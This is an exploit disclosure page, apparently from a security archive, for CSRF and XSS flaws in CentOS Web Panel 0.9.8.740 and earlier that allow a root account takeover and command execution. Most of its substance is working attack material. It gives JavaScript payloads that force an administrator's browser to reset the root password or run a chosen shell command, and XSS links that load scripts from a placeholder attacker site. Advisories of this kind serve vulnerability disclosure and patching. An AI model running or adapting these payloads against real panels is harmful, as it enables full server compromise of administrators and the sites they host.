exploit the possibilities

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution
Posted Nov 5, 2018
Authored by Numan OZDEMIR

CentOS Web Panel versions 0.9.8.740 and below suffer from cross site request forgery and cross site scripting vulnerabilities that can be leveraged to achieve remote root command execution.

tags | exploit, remote, web, vulnerability, code execution, xss, csrf
systems | linux, centos
advisories | CVE-2018-18772, CVE-2018-18773, CVE-2018-18774
MD5 | 4423810363465943242d5484d215e474

CentOS Web Panel 0.9.8.740 Root Account Takeover / Command Execution

Change Mirror Download
[+] Title: CentOS Web Panel Root Account Takeover + Remote Command 
Execution <= v0.9.8.740
[+] Author: Numan OZDEMIR (https://infinitumit.com.tr)
[+] Vendor Homepage: centos-webpanel.com
[+] Software Link: http://centos-webpanel.com/cwp-latest
[+] Version: Up to v0.9.8.740.
[+] CVE: CVE-2018-18773, CVE-2018-18772 and CVE-2018-18774.
[+] Detailed: https://numanozdemir.com/respdisc/cwp.pdf
[+] Discovered by Numan OZDEMIR in InfinitumIT Labs

[~] Description:

Attacker can change target server's root password and execute command,
by CSRF vulnerability.
Also, there is a XSS vulnerability, hacker can exploit the CSRF
vulnerability by this XSS
vulnerability and run bad-purposed JavaScript codes on administrator's
browser.
So, CSRF/XSS to full server takeover.

[~] How to Reproduce:

Hacker can exploit this vulnerability (changing root password) by XSS or
CSRF.
Hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=rootpwd";
var params = "ifpost=yes&password1=newpassword&password2=newpassword";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>

(Update newpassword as the password that you want to change.)

If hacker wants to exploit this by CSRF, CWP administrator will click
hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/password.js></script>
After exploiting, you can connect to server by Putty or access the CWP
panel with the password
that you have specified from 2030 port.

The second vulnerability is remote command execution.
Hacker can exploit this vulnerability (remote command execution) by XSS
or CSRF too.
Again, hacker will create a website and put those codes into source:

<script>
var url = "http://targetserver:2030/admin/index.php?module=send_ssh";
var params = "ssh+command=whoami";
var vuln = new XMLHttpRequest();
vuln.open("POST", url, true);
vuln.withCredentials = 'true';
vuln.setRequestHeader("Content-type",
"application/x-www-form-urlencoded");
vuln.send(params);
</script>

(Update whoami as command that you want to run.)

Same logic like top, if hacker wants to exploit this by CSRF, CWP
administrator will click hacker's website.
But if hacker wants to exploit this by XSS, CWP administrator will click
here: (admin's own website)
http://targetserver:2030/admin/index.php?module=<script%20src=//hackerswebsite.com/command.js></script>

// shouldnt think that CSRF/XSS are unimportant vulnerabilities.
// for secure days...
Login or Register to add favorites

File Archive:

October 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    25 Files
  • 2
    Oct 2nd
    13 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    1 Files
  • 5
    Oct 5th
    15 Files
  • 6
    Oct 6th
    15 Files
  • 7
    Oct 7th
    15 Files
  • 8
    Oct 8th
    11 Files
  • 9
    Oct 9th
    3 Files
  • 10
    Oct 10th
    1 Files
  • 11
    Oct 11th
    1 Files
  • 12
    Oct 12th
    8 Files
  • 13
    Oct 13th
    12 Files
  • 14
    Oct 14th
    23 Files
  • 15
    Oct 15th
    4 Files
  • 16
    Oct 16th
    13 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    1 Files
  • 19
    Oct 19th
    27 Files
  • 20
    Oct 20th
    41 Files
  • 21
    Oct 21st
    18 Files
  • 22
    Oct 22nd
    16 Files
  • 23
    Oct 23rd
    2 Files
  • 24
    Oct 24th
    1 Files
  • 25
    Oct 25th
    1 Files
  • 26
    Oct 26th
    17 Files
  • 27
    Oct 27th
    19 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close